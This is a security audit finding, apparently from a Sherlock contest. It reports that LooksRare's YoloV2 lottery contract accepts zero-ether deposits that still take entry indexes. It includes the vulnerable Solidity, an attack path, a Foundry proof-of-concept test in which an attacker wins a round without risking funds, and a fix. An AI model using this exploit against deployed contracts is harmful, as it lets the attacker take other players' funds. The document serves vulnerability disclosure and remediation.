Active Midnight Hyena

high

# Users can win rounds without risking any funds

## Summary

The `depositETHIntoMultipleRounds` function allows you to participate in rounds and therefore probably win the round without risking any funds by depositing zero ether.

## Vulnerability Detail

Here we can see the `depositETHIntoMultipleRounds` function, that calls the `depositETHIntoMultipleRounds` function, which gets the entry index from the `_getCurrentEntryIndexWithoutAccrual` function:

```solidity
function depositETHIntoMultipleRounds(uint256[] calldata amounts) external payable nonReentrant whenNotPaused {
    uint256 numberOfRounds = amounts.length;
    if (msg.value == 0 || numberOfRounds == 0) {
        revert ZeroDeposits();
    }

    uint256 startingRoundId = roundsCount;
    Round storage startingRound = rounds[startingRoundId];
    _validateRoundIsOpen(startingRound);

    _setCutoffTimeIfNotSet(startingRound);

    uint256 expectedValue;
    uint256[] memory entriesCounts = new uint256[](numberOfRounds);

    for (uint256 i; i < numberOfRounds; ++i) {
        uint256 roundId = _unsafeAdd(startingRoundId, i);
        Round storage round = rounds[roundId];
        uint256 roundValuePerEntry = round.valuePerEntry;
        if (roundValuePerEntry == 0) {
            (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});
        }

        _incrementUserDepositCount(roundId, round);

        uint256 depositAmount = amounts[i];
        if (depositAmount % roundValuePerEntry != 0) {
            revert InvalidValue();
        }
        uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
        expectedValue += depositAmount;

        entriesCounts[i] = entriesCount;
    }

    if (expectedValue != msg.value) {
        revert InvalidValue();
    }

    emit MultipleRoundsDeposited(msg.sender, startingRoundId, amounts, entriesCounts);

    if (
        _shouldDrawWinner(
            startingRound.numberOfParticipants,
            startingRound.maximumNumberOfParticipants,
            startingRound.deposits.length
        )
    ) {
        _drawWinner(startingRound, startingRoundId);
    }
}

function _depositETH(
    Round storage round,
    uint256 roundId,
    uint256 roundValuePerEntry,
    uint256 depositAmount
) private returns (uint256 entriesCount) {
    entriesCount = depositAmount / roundValuePerEntry;
    uint256 roundDepositCount = round.deposits.length;

    _validateOnePlayerCannotFillUpTheWholeRound(_unsafeAdd(roundDepositCount, 1), round.numberOfParticipants);

    uint40 currentEntryIndex = _getCurrentEntryIndexWithoutAccrual(round, roundDepositCount, entriesCount);

    ...
}

function _getCurrentEntryIndexWithoutAccrual(
    Round storage round,
    uint256 roundDepositCount,
    uint256 entriesCount
) private view returns (uint40 currentEntryIndex) {
    if (roundDepositCount == 0) {
        currentEntryIndex = uint40(entriesCount);
    } else {
        currentEntryIndex = uint40(
            round.deposits[_unsafeSubtract(roundDepositCount, 1)].currentEntryIndex + entriesCount
        );
    }
}
```

As we can see there is no check to prevent zero amount deposits and depositing zero ether will increase the deposit array and give the deposit the current entry index.

This enables the following attack path:

- Any user deposits funds into the currently running round.
- The attacker deposits zero ether into the currently running round and receives the last index of the honest user's deposit by doing so.
- This can be repeated on every deposit of another user.

Therefore the attacker can win the round without risking any funds.

The following POC can be implemented in the `Yolo.drawWinner.t.sol` test file. The following import must be added to run the test: \
`import {VRFConsumerBaseV2} from "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";`.

```solidity
function test_winWithZeroDeposit() public {
    // the following import must be added to run this test:
    // import {VRFConsumerBaseV2} from "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";

    vm.deal(user1, 1 ether);
    vm.deal(user2, 1 ether);
    vm.deal(user3, 1 ether);

    // deposit into multiple rounds array to buy 0 entries for the current round and 1 for the next round
    uint256[] memory amounts = new uint256[](2);
    amounts[0] = 0 ether;
    amounts[1] = 0.01 ether;

    // user2 buys one entry for the current round
    vm.prank(user2);
    yolo.deposit{value: 0.01 ether}(1, _emptyDepositsCalldata());

    // user1 buys zero entries for the current round and 1 for the next round
    vm.prank(user1);
    yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(amounts);

    // user3 buys one entry for the current round
    vm.prank(user3);
    yolo.deposit{value: 0.01 ether}(1, _emptyDepositsCalldata());

    // user1 buys zero entries for the current round and 1 for the next round
    vm.prank(user1);
    yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(amounts);

    vm.warp(block.timestamp + ROUND_DURATION);
    yolo.drawWinner();

    uint256[] memory randomWords = new uint256[](1);
    randomWords[0] = 1;

    vm.prank(VRF_COORDINATOR);
    VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

    (
        ,
        ,
        ,
        ,
        ,
        ,
        address winner,
        ,
        ,
        IYoloV2.Deposit[] memory deposits
    ) = yolo.getRound(1);

    // 4 deposits in the array but only 2 are non-zero
    assertEq(deposits.length, 4);

    // user1 won the round without risking any ETH
    assertEq(winner, user1);
}
```

## Impact

Users can participate in rounds without risking any funds and therefore steal funds from other users.

## Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L312-L362

https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1428C36-L1428C71

https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1651-L1663

## Tool used

Manual Review

## Recommendation

Continue the loop if the given ether deposit amount is zero.